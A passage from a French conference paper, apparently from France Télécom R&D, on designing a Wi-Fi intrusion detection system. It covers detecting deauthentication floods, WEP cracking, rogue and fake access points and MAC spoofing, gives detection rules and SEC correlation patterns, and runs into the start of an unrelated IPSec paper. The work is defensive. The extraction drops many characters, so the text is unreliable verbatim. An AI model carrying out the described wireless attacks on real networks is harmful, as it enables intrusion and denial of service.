es évènements parti
uliers

grâ
e à une séparation en des signatures spé
i�ques.

Grâ
e à des te
hniques à seuils les attaques suivantes sont déte
tables

33

:

� �ot de trames de dé-authenti�
ation ou dé-asso
iation ;

� �ot d'asso
iations au point d'a

ès ;

� �ot de trames ave
 le 
hamp � Duration Field � élevé ;

� �ot de trames � PS-Poll � ;

� trames fragmentées ;

� trames d'é
he
 Extensible Authenti
ation Proto
ol (EAP) ;

� trames d'é
he
 d'authenti�
ation de la méthode EAP ;

� trames d'é
he
 sur le 4-way handshake.

Les seuils sont souvent positionnés de manière empirique. Il existe malheureusement toujours

une fenêtre dans laquelle une attaque peut passer inaperçue, mais 
ette dernière sera a priori moins

e�
a
e et don
 moins intéressante pour l'attaquant. Toute méthode statistique plus évoluée est

aussi utilisable dans 
e 
ontexte.

Note 2. Il est bien entendu que 
ette liste est non exhaustive, il est par exemple possible de réaliser

du déni de servi
e au niveau plus bas par saturation des ressour
es radio ou brouillage. . .

4.5 Les attaques sur les mé
anismes d'authenti�
ation

La norme 802.11i rend obligatoire l'utilisation d'une méthode d'authenti�
ation mutuelle. Elle

peut être réalisée par Pre-Shared Key (PSK) ou par méthode EAP, les plus 
ourantes étant :

� EAP Transport Layer Se
urity (EAP-TLS) [27℄ ;

� Prote
ted EAP (PEAP) [28℄ ;

� EAP Tunneled Transport Layer Se
urity (EAP-TTLS) [29℄ ;

� Lightweight EAP (LEAP) [30℄.

Re
her
he exhaustive sur méthode EAP. Certaines méthodes d'authenti�
ation EAP re-

posent sur l'utilisation d'un 
ouple � identi�ant et mot de passe �. Elles peuvent don
 être sensibles

à des attaques par re
her
he exhaustive ou par di
tionnaire � en-ligne �. De part la propagation

radioéle
trique, 
es tentatives d'authenti�
ation sont a

essibles anonymement à qui
onque se situe

dans la zone de 
ouverture des points d'a

ès.

Dans 
e 
as pré
is, les serveurs d'authenti�
ation peuvent lever des alertes lorsqu'ils déte
tent

de multiples essais erronés. Cela peut aussi être réalisé par un logi
iel de déte
tion d'intrusion au

niveau 802.11, même si 
'est 
lairement moins approprié.

4.6 Les attaques sur la 
on�dentialité des trames de données

Cassage WEP. Depuis la publi
ation majeure de Fluhrer, Mantin et Shamir, les outils de 
assage

WEP ont foisonné ave
 de nombreuses évolutions qui permettent aujourd'hui de ré
upérer le se
ret

partagé en quelques minutes sur un réseau 
hargé [31,32℄.

32

la plupart des attaques de déni de servi
e utilisent l'adresse de broad
ast pour des raisons de simpli
ité

et d'e�
a
ité de l'attaque.

33

le positionnement des seuils est primordial.
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Cette attaque né
essite que du tra�
 WEP soit présent, des te
hniques sont alors apparues

qui permettre � d'induire � du tra�
 grâ
e aux te
hniques d'inje
tion de tra�
 présentées dans le

paragraphe � inje
tion WEP �.

Il est don
 possible de déte
ter du 
assage WEP (ou la possibilité de le réaliser) par :

� la déte
tion d'inje
tion de tra�
 WEP ;

� la déte
tion de paquets WEP permettant de réaliser le 
assage (selon les informations dé
rites

dans [2℄).

Bien entendu dans tout déploiement 802.11, le proto
ole WEP n'est pas à re
ommander. Depuis

l'arrivée des standards WPA et WPA2 qui supportent les proto
oles TKIP et CCMP, il est possible

d'arriver à un niveau de 
on�dentialité et d'intégrité très élevé, même ave
 des équipements grand

publi
.

Cassage TKIP et CCMP. Il n'existe pas à l'heure a
tuelle de te
hnique 
onnue permettant de


asser les proto
oles TKIP et CCMP si la 
haîne pré
édente (authenti�
ation, dérivation des 
lés

maîtresses, dérivation des 
lés de session de 
hi�rement et d'intégrité) ne présente pas de faiblesse.

4.7 Points d'a

ès illégitimes

La di�
ulté ne réside pas dans la déte
tion des points d'a

ès illégitimes 
omme 
ela est dé
rit

dans 
e paragraphe, mais plut�t dans la quali�
ation de 
es derniers. En e�et, un point d'a

ès

illégitime inter-
onne
té au réseau du site protégé est une alerte 
ritique et né
essite une a
tion

rapide.

En pratique plusieurs possibilités sont envisageables :

� point d'a

ès illégitime non inter-
onne
té au réseau �laire du site protégé mais présent dans

l'en
einte de 
e dernier ;

� point d'a

ès illégitime inter-
onne
té au réseau �laire du site protégé ;

� point d'a

ès interférant

34

.

Déte
tion du point d'a

ès. La déte
tion se réalise en 
apturant toutes les trames issues de

points d'a

ès :

� � bea
on, probe response, authenti
ation response, asso
iation response, re-asso
iation res-

ponse � pour les trames de management ;

� � data from ds, data to ds � pour les trames de données.

Comparaison des trames reçues ave
 :

� la liste des noms des réseaux autorisés (ESSID) ;

� la liste des adresses MAC 
�té radioéle
trique des points d'a

ès autorisés (BSSID).

Des listes � blan
hes � permettent alors d'identi�er rapidement les points d'a

ès non 
onformes

que l'on appelle 
ouramment les � rogue ap �. Il est maintenant né
essaire de quali�er les points

d'a

ès en essayant de déterminer s'ils sont inter-
onne
tés au réseau �laire du site protégé.

Quali�
ation du point d'a

ès. Cette quali�
ation est réalisée grâ
e aux briques suivantes :

1. re
her
he des adresses MAC dans des bases d'inventaires d'équipement

34


orrespond au premier 
as quali�é en tant que point d'a

ès externe non dangereux.
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(a) sur les adresses MAC sour
e et destination d'une trame de donnée,

(b) sur l'adresse BSSID +1/-1 ;

2. asso
iation automatique et véri�
ation de 
onne
tivité

(a) asso
iation sur le nom de réseau du point d'a

ès à quali�er,

(b) ré
upération des informations de 
onne
tivité via DHCP,

(
) envoi d'un paquet vers une (ou plusieurs) adresses IP prédéterminées ;

3. géolo
alisation physique de l'émetteur

(a) ré
upération des RSSI de l'évènement sur 
ha
une des sondes,

(b) utilisation d'un modèle de propagation,

(
) estimation de la position géographique sur le site.

La première te
hnique permet de repérer rapidement la présen
e d'un point d'a

ès sur les


ommutateurs du site protégé bien que 
ela né
essite d'avoir une base d'inventaire régulièrement à

jour.

La deuxième te
hnique est plus a
tive et doit être utilisée ave
 pré
autions. Il su�t d'imaginer

un attaquant 
réant des milliers de faux points d'a

ès à valider... Cette te
hnique n'est réalisable

que si l'on a une bonne 
on�an
e dans les te
hniques de déte
tion a�n de ne travailler que sur des

données �ables et non maîtrisées par l'attaquant : 
'est un problème majeur pour tout éditeur de

solution de déte
tion d'intrusion 802.11 !

La troisième te
hnique a pour prin
ipal avantage d'être indépendante de la trame émise par

l'attaquant. En e�et, même si un attaquant peut faire varier la puissan
e d'émission de sa 
arte

802.11, la qualité de signal reçue en 
ha
une des sondes déployées reste quand même 
ohérente pour

un paquet donné. Si le modèle de résolution des équations est su�samment évolué et le 
alibrage

su�samment �n, 
ette te
hnique n'est pas à négliger.

Note 3. Ces te
hniques de quali�
ation des points d'a

ès ne permettent pas de résoudre toutes

les problématiques. Un attaquant peut arriver à les 
ontourner ave
 plus ou moins de fa
ilité.

Cependant, elles sont tout à fait pertinentes dans le 
adre d'une erreur de 
on�guration ou d'un

attaquant de niveau peu élevé.

Points d'a

ès mal 
on�gurés. Les te
hniques exposées peuvent aussi être appliquées aux points

d'a

ès en liste � blan
he � pour valider leur 
on�guration. Cependant, il est plus 
ohérent de

réaliser 
ette opération au niveau �laire 
ar l'opérateur de l'infrastru
ture a (normalement) la

maîtrise et la 
onnaissan
e de tous les points d'a

ès présents sur son site. Dans 
e 
as, il lui

est possible d'automatiser une 
ampagne de test sur les 
on�gurations des points d'a

ès pour les

valider régulièrement.

4.8 Les faux points d'a

ès

Les faux points d'a

ès sont des points d'a

ès � simulés � ou � émulés �. Ils sont souvent

utilisés pour perturber les outils de WarDriving et font généralement partie du 
ahier de tests lors

d'évaluation d'outils de déte
tion d'intrusion 802.11.
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Fake AP. Outil en langage PERL qui repose sur les 
ommandes iw
onfig et if
onfig [33℄. Les

étiquettes temporelles sont remises à zéro à 
haque 
hangement de BSS en mode � master �. Il est

don
 aisé de déte
ter des attaques de type Fake AP en repérant de nombreux points d'a

ès ayant

une étiquette temporelle anormalement très basse.

Pour des raisons de lisibilité seules les informations pertinentes sont présentées dans l'exemple


i-dessous.

No Sour
e Destination Proto
ol Info

1 Cis
o_b3:f9:7d Broad
ast Bea
on frame, SSID: "airport"

Prism Monitoring Header

RSSI: 0xfb <-- i
i

IEEE 802.11

Sequen
e number: 2871 <-- i
i

IEEE 802.11 wireless LAN management frame

Timestamp: 0x000000000001929A <-- i
i

Tagged parameters (24 bytes)

SSID parameter set: "airport"

Supported Rates: 1.0(B) 2.0(B) 5.5 11.0

DS Parameter set: Current Channel: 1

No Sour
e Destination Proto
ol Info

3 Cis
o_b3:f9:7d Broad
ast Bea
on frame, SSID: "airport"

Prism Monitoring Header

RSSI: 0xfb <-- i
i

IEEE 802.11

Sequen
e number: 2872

IEEE 802.11 wireless LAN management frame

Fixed parameters (12 bytes)

Timestamp: 0x00000000000323A2 <-- i
i

Tagged parameters (24 bytes)

SSID parameter set: "airport"

Supported Rates: 1.0(B) 2.0(B) 5.5 11.0

DS Parameter set: Current Channel: 1

No Sour
e Destination Proto
ol Info

7 Cis
o_4a:bb:ab Broad
ast Bea
on frame, SSID: "host"

Prism Monitoring Header

RSSI: 0xfb <-- i
i

IEEE 802.11

Sequen
e number: 2873 <-- i
i

IEEE 802.11 wireless LAN management frame

Fixed parameters (12 bytes)

Timestamp: 0x00000000000192F0 <-- i
i

Tagged parameters (21 bytes)
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SSID parameter set: "host"

Supported Rates: 1.0(B) 2.0(B) 5.5 11.0

DS Parameter set: Current Channel: 1

No Sour
e Destination Proto
ol Info

9 Cis
o_4a:bb:ab Broad
ast Bea
on frame, SSID: "host"

Prism Monitoring Header

RSSI: 0xfb <-- i
i

IEEE 802.11

Sequen
e number: 2874 <-- i
i

IEEE 802.11 wireless LAN management frame

Fixed parameters (12 bytes)

Timestamp: 0x000000000003226B <-- i
i

Tagged parameters (21 bytes)

SSID parameter set: "host"

Supported Rates: 1.0(B) 2.0(B) 5.5 11.0

DS Parameter set: Current Channel: 1

No Sour
e Destination Proto
ol Info

11 Cis
o_4a:bb:ab Broad
ast Bea
on frame, SSID: "host"

Prism Monitoring Header

RSSI: 0xfb <-- i
i

IEEE 802.11

Sequen
e number: 2875 <-- i
i

IEEE 802.11 wireless LAN management frame

Fixed parameters (12 bytes)

Timestamp: 0x000000000004B3A9 <-- i
i

Tagged parameters (21 bytes)

SSID parameter set: "host"

Supported Rates: 1.0(B) 2.0(B) 5.5 11.0

DS Parameter set: Current Channel: 1

No Sour
e Destination Proto
ol Info

15 Cis
o_5b:1a:70 Broad
ast Bea
on frame, SSID: "airport"

Prism Monitoring Header

RSSI: 0xfb <-- i
i

IEEE 802.11

Sequen
e number: 2876 <-- i
i

IEEE 802.11 wireless LAN management frame

Fixed parameters (12 bytes)

Timestamp: 0x0000000000019328 <-- i
i

Tagged parameters (24 bytes)

SSID parameter set: "airport"
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Supported Rates: 1.0(B) 2.0(B) 5.5 11.0

DS Parameter set: Current Channel: 1

Plusieurs points méritent notre attention. . .

L'ensemble des étiquettes temporelles reste à un niveau très bas 
ar elles sont remises à zéro à


haque 
hangement de BSS. Il su�t don
 de 
orréler tous les évènements in
riminés entre eux de

manière à ne lever qu'une alerte de niveau élevé ayant 
omme signature Fake AP.

Le numéro de séquen
e est in
rémenté à 
haque fois de un même après un 
hangement de

BSS. Ce
i peut être un 
ritère supplémentaire pour déte
ter 
e type d'attaque grâ
e à une analyse

statistique sur la distribution des numéros de séquen
e.

Le RSSI n'est �nalement pas très variant pour des points d'a

ès sensés être di�érents !

Raw Fake AP. Outil en langage C qui utilise l'inje
tion de paquet pour envoyer des trames de

type � bea
on � et � probe response � en mode � monitor � [34℄.

Ce type d'outil est fa
ile à déte
ter (de nombreux nouveaux points d'a

ès en même temps

et d'un seul 
oup), mais di�
ile à gérer pour les outils de déte
tion d'intrusion. En e�et, il est

né
essaire qu'ils implantent des te
hniques d'analyse �nes pour distinguer des points d'a

ès émulés

des points d'a

ès réels. Sinon, ils sont potentiellement vulnérables à des attaques visant à les saturer

d'évènements inutiles.

4.9 Le double atta
hement

Le double atta
hement est l'inter
onnexion illégitime entre deux réseaux de niveaux de sé
urité

di�érents par l'intermédiaire d'un équipement non dévolu à 
ette fon
tion.

Cette inter
onnexion est aujourd'hui de plus en plus 
ourante pour plusieurs raisons : l'apparition

en standard de 
artes 802.11 dans les ordinateurs portables, 
ertaines 
on�gurations laxistes qui

autorisent l'asso
iation à des points d'a

ès in
onnus et la possibilité de réaliser des points d'a

ès

illégitimes très fa
ilement.

Si l'on ex
lut le double atta
hement volontaire

35

qui est déte
table mais di�
ilement repérable

(où seules des te
hniques de géolo
alisation sont e�
a
es), on peut 
onsidérer que le double atta-


hement par � erreur � implique l'utilisation du mode � ouvert

36

�.

Dans 
e 
as, il est possible de réaliser une analyse appli
ative sur :

� le proto
ole Dynami
 Host Control Proto
ol (DHCP) qui in
lut de nombreuses informations

pertinentes (nom de la ma
hine, sous-réseau, passerelle. . .) ;

� le proto
ole Server Message Blo
k (SMB) qui in
lut de nombreuses informations pertinentes

(nom de la ma
hine. . .) ;

� tout autre é
hange appli
atif pouvant donner des informations pertinentes (pro
essus auto-

matiques).

Ces informations peuvent permettre d'identi�er ave
 une 
ertaine �nesse que l'ordinateur ayant un

nom dé
ouvert pré
édemment est présent aussi sur le réseau �laire en réalisant une 
orrélation ave


les journaux d'a
tivité des serveurs internes DHCP et SMB. Bien entendu, il est préférable d'avoir

une attitude préventive fa
e à 
es mena
es en s'appuyant sur du dur
issement de 
on�guration


lient.

35

typiquement l'utilisation d'un routeur 802.11 ave
 authenti�
ation et 
hi�rement robustes.

36

sans authenti�
ation ni 
hi�rement de la voie radioéle
trique, 
e mode est souvent utilisé dans les hot

spots 802.11, l'authenti�
ation et le 
ontr�le d'a

ès étant réalisés via des te
hnologies de type � portail


aptif �.
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5 Les te
hniques de prévention d'intrusion

La prévention d'intrusion 802.11 a pour but d'empê
her l'exploitation de brè
hes réseau induites

par les te
hnologies 802.11.

Typiquement, les prin
ipales fon
tionnalités de 
es outils sont basées sur des :

� 
ontre-mesures radioéle
triques (utilisation de 
ertaines te
hniques de déni de servi
e dé
rites

pré
édemment) pour empê
her l'asso
iation de 
lients sur des points d'a

ès 
onsidérés 
omme

étant illégitimes ;

� 
ontre-mesures au niveau �laire (au niveau des 
ommutateurs) pour empê
her l'utilisation de

points d'a

ès 
onsidérés 
omme étant illégitimes ;

� 
ontre-mesures sur le 
assage WEP.

Comme toute te
hnologie � a
tive �, il est primordial d'avoir des garde-fous a�n d'éviter de se

faire manipuler par une personne malveillante. Si en e�et, il est possible de pla
er des points d'a

ès

légitimes dans la liste des points d'a

ès devant être � isolés � 
ela peut impliquer du déni de servi
e

sur des équipements légitimes. Il faut réaliser un pro
essus de validation manuelle avant le lan
ement

de toute 
ontre-mesure a
tive. Par ailleurs, nous n'aborderons pas les problématiques juridiques dans

le 
as où le système 
ouperait des utilisation légitimes de points d'a

ès interférants. . . Les solutions

a
tuelles ne seront pas plus développées dans 
e 
hapitre, 
e sujet pouvant faire l'objet d'un arti
le


omplet [24℄.

6 Con
eption d'un logi
iel de déte
tion d'intrusion 802.11

Cette partie n'a pas pour but de présenter tous les 
hoix te
hniques lors de la 
on
eption de

l'outil développé par Fran
e Télé
om R&D. Elle dé
rit brièvement les prin
ipales orientations prises

tout au long des développements.

La solution développée est de type sur-
ou
he qui intègre :

� les sondes de déte
tion d'intrusion ;

� les mé
anismes d'agrégation et de 
orrélation des alertes issues des sondes ;

� l'interfa
e de visualisation et d'administration.

6.1 Le 
oeur de déte
tion

Le 
oeur de déte
tion est un programme en C développé de zéro. Le 
hoix de 
e langage est

évident : la portabilité et l'e�
a
ité. En e�et, traiter des �ux réseaux importants sur des équipements

embarqués 
omme des points d'a

ès Linksys WRT54G(S) imposent naturellement le langage C !

Nous nous sommes e�or
és de réaliser un 
ode portable et indépendant de la te
hnologie 802.11

sous-ja
ente (802.11abgn). Toute interfa
e radioéle
trique supportant la libp
ap en environnement

*nix est utilisable. Au niveau du dépilage des en-têtes l'outil supporte à la fois les datalink types

DLT_PRISM_HEADER et DLT_IEEE802_11.

Le 
ode réalisé est a
tuellement fon
tionnel sur les ar
hite
tures x86 et MIPS. Pour 
ette dernière,

nous avons utilisé l'environnement OpenWRT [35℄ a�n de porter l'outil vers les Linksys WRT54G(S).

Nous avons utilisé les versions White Russian et Kamikaze d'OpenWRT.

Le diagramme fon
tionnel du 
oeur de déte
tion est le suivant :

� le
ture du �
hier de règles et des �
hiers a�érents (liste blan
he de BSSIDs, ESSIDs...) ;

� 
ompilation de l'ensemble des règles en une stru
ture arbores
ente en mémoire qui sera par-


ourue à 
haque ré
eption de paquet 802.11 ;
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� initialisation de l'interfa
e de 
apture via la libp
ap (véri�
ation de l'en-tête de ré
eption

grâ
e aux Data Link Type) ;

� à la ré
eption d'un paquet

� véri�
ation de la 
onformité du paquet au standard 802.11 (évitement des trames mal-

formées),

� mise dans un tableau de paquets de la trame ayant passé les tests pré
édents,

� mise à jour de 
e dernier selon la taille maximum du tableau de paquets,

� par
ours de la stru
ture arbores
ente et appel des fon
tions de 
omparaisons sur le paquet

en fon
tion des règles dé
rites dans le �
hier de règles,

� levée ou non d'un évènement de type log sur les règles qui auront été dé
len
hées par le

paquet (ou un ensemble de paquets).

L'outil journalise les évènements déte
tés grâ
e à la dire
tive de type � log �. La méthode de

journalisation a
tuellement implantée est le proto
ole SYSLOG 
e qui permet une légèreté a

rue au

niveau de la sonde qui envoie la journalisation des évènements vers un 
olle
teur 
entral.

La volumétrie des évènements levés par une sonde peut-être très élevée même lorsqu'au
une

attaque n'est en 
ours. En deux heures et vingt minutes, le �
hier de journalisation a atteint 35 mé-

gao
tets ave
 215000 évènements journalisés (soit environ 25 évènements par se
onde). L'agrégation

est stri
tement né
essaire pour 
e type de te
hnologie !

6.2 Le 
orrélateur à la volée

Le volume d'évènements généré peut être très 
onséquent en parti
ulier si le nombre de sondes

est important (plus de 10 par exemple). Typiquement, si une sonde a environ 20 points d'a

ès en

visibilité permanente, on est 
onfronté à une volumétrie � normale � de 200 évènements par se
onde

(selon la performan
e de la sonde hébergeant le 
oeur de déte
tion). Par ailleurs, si des attaquants

essayent de saturer le système en faisant lever des milliers d'évènements, il est né
essaire d'avoir un

mé
anisme d'agrégation e�
a
e.

Le logi
iel SEC [36℄ a été 
hoisi pour réaliser l'agrégation et la 
orrélation à la volée. Il permet

d'avoir une solution à moindre 
oûts et très e�
a
e en terme de stabilité et de performan
e.

Pour information, les évènements remontés par le 
oeur de déte
tion sont de 
e format :

Mar 31 15:11:54 192.168.1.10 airinvaders:

00:0D:28:3E:A0:5A | FF:FF:FF:FF:FF:FF | Info | info |

Authorized AP Whitelist SSID |

rssi=21 | ssid=FTRDWPA | 
hannel=01 |

Règle qui a levé l'évènement :

when (pa
ket.subtype = bea
on or pa
ket.subtype = probe_resp)

and pa
ket.tags[ssid℄.
ontent in list("ssid_whitelist")

do log(pa
ket.ma
2 + " | " + pa
ket.ma
1 + " | " +

"Info | info | Authorized AP Whitelist SSID | rssi=" +

pa
ket.prism_signal + " | ssid=" + pa
ket.tags[ssid℄.
ontent +

" | 
hannel=" + pa
ket.tags[ds_pset℄.
ontent +" |", 1) and break

Le langage de règles a été 
onçu ave
 la 
ontrainte de pouvoir rajouter de nouvelles signatures

statiques fa
ilement sans impa
ter du développement sur le 
oeur de déte
tion.
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Le 
oeur de déte
tion ne se limite pas à des signatures statiques mais est aussi 
apable d'im-

planter des fon
tions de déte
tion d'anomalie telles que les te
hniques de déte
tion d'usurpation

d'adresse MAC. Il est possible de réaliser des traitements sur l'ensemble du tableau de paquets 
e

qui permet alors une évolutivité a

rue de l'outil. Les te
hniques de déte
tion d'anomalie implantées

dans l'outil sont basées sur l'analyse des numéros de séquen
e, des étiquettes temporelles et des

paramètres optionnels.

when isspoofed(pa
ket, 50)

do log(pa
ket.ma
2 + " | " + pa
ket.ma
1 + " | " +

"Spoofing | low | Authorized AP MAC Spoofing | rssi=" +

pa
ket.prism_signal + " | spoofing_type=Sequen
e Number |", 2)

A�n de prendre en 
ompte les évènements levés par le 
oeur de déte
tion, des règles d'agrégation

et de 
orrélation au niveau de SEC doivent être spé
i�ées.

type=Single

ptype=RegExp

pattern=^(\S\S\S\s+\d+\s\d\d:\d\d:\d\d)\s(\S+)

\sairinvaders:\s([0-9a-fA-F:℄*)\s\\

|\s([0-9a-fA-F:℄*)\s\|\s(Info)\s\|\s(\S+)\s\

|\s(Authorized\sAP\sWhitelist\sSSID))

\s\|\srssi=[0-9\-℄+\s\|\sssid=(.*)\s\|\s
hannel=(\S+)\s\|(.*)


ontext=!$7_$3_$2_$8_$9

des
=$7_$3_$2_$8_$9

a
tion=
reate $7_$3_$2_$8_$9 65

(write se
_output_ids $1 | $2 | $3 | $4 | $5 | $$

6 | $7 | ssid=$8 | 
hannel=$9 |$10)

type=Single

ptype=RegExp

pattern=^(\S\S\S\s+\d+\s\d\d:\d\d:\d\d)\s(\S+)

\sairinvaders:\s([0-9a-fA-F:℄*)\s\\

|\s([0-9a-fA-F:℄*)\s\|\s(Info)\s\|\s(\S+)\s\

|\s(Authorized\sAP\sWhitelist\sSSID))

\s\|\srssi=[0-9\-℄+\s\|\sssid=(.*)\s\|\s
hannel=(\S+)\s\|(.*)


ontext=$7_$3_$2_$8_$9

des
=$7_$3_$2_$8_$9

a
tion=add $7_$3_$2_$8_$9 $0

Les règles 
i-dessus sont di�
iles à lire à 
ause des expressions régulières. SEC 
rée des états

et des passages d'états à états en fon
tion d'évènements ré
eptionnés. Dans l'exemple 
i-dessus,

nous agrégeons toutes les alertes reçues de signature � Authorized AP Whitelist SSID � grâ
e à

la 
réation de 
ontexte dépendant de plusieurs paramètres (adresses MAC sour
e et destination. . .)

durant une durée de 65 se
ondes. Ce 
hoix nous permet une agrégation ave
 volumétrie 
onstante 
ar

nous aurons une journalisation agrégée toutes les 65 se
ondes si l'évènement est toujours d'a
tualité.

Cette agrégation permet d'alléger les mises en base de données des évènements.
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6.3 La mise en base de donnée

SEC journalise les évènements agrégés et 
orrélés en mode texte. Cette sortie est par
ourue par

un s
ript dévolu à la mise en base SQL des évènements.

Cette base 
entrale est ensuite enri
hie ave
 les bases d'inventaires dé
rites pré
édemment pour

quali�er les points d'a

ès.

Nous sommes en train de travailler sur les aspe
ts agrégation et 
orrélation � hors-ligne � pour

repérer des attaques réalisées régulièrement en dehors des plages d'agrégation et de 
orrélation

mises en pla
e via SEC.

6.4 Présentation

La base de donnée SQL peut être interrogée via des s
ripts PHP de présentation pour remonter

de manière su

in
te les informations les plus pertinentes.

7 Les problématiques de la déte
tion d'intrusion 802.11

Lors du développement de l'ar
hite
ture nous avons été 
onfrontés à de nombreux problèmes

auxquels nous avons essayé d'apporter des solutions. En e�et, développer une solution 
omme un

éditeur l'aurait fait est la seule manière de 
omprendre les problématiques inhérentes au domaine

de la déte
tion d'intrusion 802.11.

Ce 
hapitre présente les problématiques prin
ipales ren
ontrées lors de la 
on
eption et du

développement de la solution.

Performan
e et taille du 
oeur de déte
tion Né
essité d'avoir un 
ode optimisé pour obtenir

les meilleurs résultats possible pour la 
apture, l'analyse et la journalisation sur des équipements

embarqués qui disposent de peu de mémoire vive et �ash.

Nous avons porté nos e�orts sur les aspe
ts suivants :

� pas de mallo
() autre qu'au démarrage de la sonde ;

� 
ompilation des règles en mémoire ;

� stru
ture arbores
ente des règles ;

� limitation du nombre de règles faisant appel aux traitements dans le tableau de paquets ;

� utilisation de gprof et e�orts sur les fon
tions les plus impa
tantes ;

� 
ompilation ave
 l'option -O3.

L'optimisation du 
ode et des règles sont les seuls moyens pour supporter les futures normes

802.11 qui o�riront des débits en
ore plus importants.

Les évolutions des règles Il est 
ontraignant de maintenir plusieurs �
hiers de règles à plusieurs

niveaux, tout impa
t sur la première liste de règles implique des modi�
ations sur la deuxième. Par


onséquent, l'ar
hite
ture existante impose quelques 
ontraintes en terme de maintenabilité mais

en 
ontrepartie les mé
anismes d'agrégation et de 
orrélation sont très e�
a
es pour réduire la

volumétrie des évènements.

Les faux positifs Toute te
hnologie de déte
tion d'intrusion est 
onfrontée à 
e problème ma-

jeur. Seuls des tests dans des environnements hétérogènes (entreprises, hot spots, 
onféren
es. . .)

permettent de mettre à l'épreuve le 
oeur de déte
tion et les règles implantées.
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Les faux négatifs Toute te
hnologie de déte
tion d'intrusion est 
onfrontée à 
e problème majeur.

Malheureusement, 
e paramètre est di�
ile à évaluer en pratique. En e�et, un logi
iel de déte
tion

d'intrusion 802.11 est obligé de par
ourir les di�érents 
anaux 802.11 pour déte
ter des signatures

d'attaques 
onnues ou de réaliser de la déte
tion d'anomalie pour la déte
tion d'usurpation d'adresse

MAC par exemple. Dans 
e 
ontexte, la problématique des faux négatifs prend alors toute son

ampleur ! Comment déte
ter une attaque sur le 
anal 1 alors que la sonde é
oute sur le 
anal 11 ?

En pratique, les évènements que l'on veut déte
ter en déte
tion d'intrusion 802.11 né
essitent de

nombreux paquets (déni de servi
e, points d'a

ès illégitimes. . .) et don
 seront fatalement déte
tés

t�t ou tard. C'est une des raisons pour lesquelles la notion de faux positifs dans la déte
tion

d'intrusion 802.11 n'est pas vraiment une notion par paquet mais plut�t par attaque.

L'évaluation des performan
es Les 
ritères d'évaluation des performan
es sont aussi di�
iles

à évaluer. Les suites d'évaluations en inje
tant des 
entaines de paquets 802.11 et en 
omparant le

nombre d'évènements levés par le moteur de déte
tion permettent de donner un ordre de grandeur,

mais l'audit est bruité par de nombreux paramètres extérieurs : pertes au niveau de l'émetteur des

paquets, pertes au niveau de la voie radioéle
trique, pertes au niveau de la 
apture des paquets,

pertes au niveau de l'analyse des paquets. . .

Nous sommes en 
ours de dé�nition d'une suite de tests d'outils de déte
tion d'intrusion qui

soit la plus e�
a
e possible 
ompte tenu des problématiques énon
ées pré
édemment.

Un indi
ateur toutefois intéressant est la 
harge CPU grâ
e à la 
lassique 
ommande top sous

*nix si l'on suspe
te des problèmes de performan
e.

L'évolution normative Les normes 802.11 évoluent très vite (802.11e, 802.11k, 802.11r) et im-

pliquent des modi�
ations profondes dans le 
oeur de déte
tion pour être 
apable de dépiler 
es

nouvelles normes. Ce n'est pas un travail négligeable et maintenir un 
oeur de déte
tion à jour

implique d'y passer du temps.

La légalité des 
ontre-mesures radioéle
triques Problématique à prendre en 
ompte et qui

est 
ertainement non triviale selon les législations des di�érents pays.

Les 
oûts de déploiement de solutions sur-
ou
he La solution développée présente un sur-


oût non négligeable 
ar il faut déployer une ar
hite
ture dédiée à l'é
oute de la voie radioéle
trique.

Bien que les éléments 
hoisis sont peu onéreux (outils Open Sour
e, Linksys WRT54G(S)), le 
oût

humain en terme de déploiement, 
on�guration et exploitation est lui non négligeable. . .

La quali�
ation des points d'a

ès Ces te
hniques ne peuvent prétendre répondre à toutes

les problématiques. Elles permettent de faire au mieux dans un 
adre où l'on re
her
he des points

d'a

ès non maîtrisés par des attaquants. En e�et, il est toujours a priori possible de 
ontourner 
es

mé
anismes par un attaquant plus évolué. La te
hnique la plus pertinente et prometteuse au regard

d'attaques volontaires reste la géolo
alisation par analyse des RSSI. Selon les te
hniques utilisées

nous pouvons avoir des résultats intéressants si la 
ouverture du site protégé est bonne. En�n, il

ne faut pas oublier que de nombreux points d'a

ès sont interférants. Ils ne représentent pas de

mena
es en soi, mais doivent être quali�és en tant que tels !
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8 Con
lusions

La déte
tion d'intrusion 802.11 est un domaine ré
ent et ne peut-être une réponse en soi que

si des e�orts importants en terme de politique de sé
urité du site protégé ont été réalisés : elle ne

peut être utile que dans un 
ontexte où la sé
urité est prise en 
ompte ave
 sérieux 
ar elle génère

fatalement des alertes qui devront être gérées par une équipe sé
urité. . .

Bien que la majorité des attaques soient déte
tables par les te
hniques présentées dans 
et arti
le,

il existe toujours une fenêtre de vulnérabilité dans laquelle l'attaquant tentera de s'introduire. Cette

fenêtre doit être réduite au mieux sans avoir d'impa
ts en termes de faux positifs !

L'avènement des te
hnologies radioéle
triques permettra peut-être de démo
ratiser 
e domaine

qui devra alors s'adapter aux futures normes telles que 802.16, 802.20...
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Faiblesses d'IPSe
 en déploiements réels

Yvan Vanhullebus

Netasq

vanhu�netasq.
om

Résumé IPSe
 regroupe une suite de proto
oles destinés à sé
uriser des é
hanges sur un

réseau non protégé. D'un niveau de sé
urité très élevé en théorie, il existe 
ependant de

nombreux problèmes pratiques posés par l'utilisation d'IPSe
, parfois dus à la 
omplexité

des RFCs ou à des faiblesses des proto
oles, parfois à des bugs d'implémentations, et parfois

simplement à la mé
onnaissan
e des administrateurs.

Nous verrons dans 
et arti
le un résumé du fon
tionnement d'IPSe
, ainsi qu'une étude plus

détaillée de plusieurs points de faiblesses potentiels des tunnels IPSe
, qu'ils relèvent des

proto
oles, des implémentations ou des 
on�gurations, et nous étudierons les possibilités de

solutions à 
es faiblesses.

1 Présentation rapide d'IPSe


1.1 Obje
tifs d'IPSe


IPSe
 est un ensemble de proto
oles et de normes, formalisés par des RFCs (voir Annexe 5.5),

destinés à permettre la mise en pla
e de tunnels VPNs

1

. Le support d'IPSe
 est optionnel pour

IPv4, mais obligatoire pour IPv6.

Ces VPNs peuvent par exemple servir à inter
onne
ter à moindre frais des réseaux d'agen
es au

travers d'Internet, à protéger e�
a
ement des liaisons di�
ilement sé
urisables de type Wi�, ou à

protéger des proto
oles peu sé
urisés qu'on ne peut pas fa
ilement rempla
er (NFS, et
...).

Cet ensemble de proto
oles fournit essentiellement trois fon
tionnalités.

Con�dentialité Le r�le le plus évident d'IPSe
 est de 
hi�rer les données qui transitent, à l'aide

d'algorithmes 
lassiques de 
hi�rement symétriques, fon
tionnant par blo
s. Les algorithmes les

plus 
ourants sont DES, 3DES, Blow�sh et AES, généralement utilisés en mode CBC

2

, mais 
ette

liste n'est pas exhaustive, et il est possible d'implémenter et utiliser tout algorithme de son 
hoix.

Intégrité Certains modes d'IPSe
 permettent de garantir également l'intégrité des données tran-

sitées, à l'aide d'algorithmes de hash 
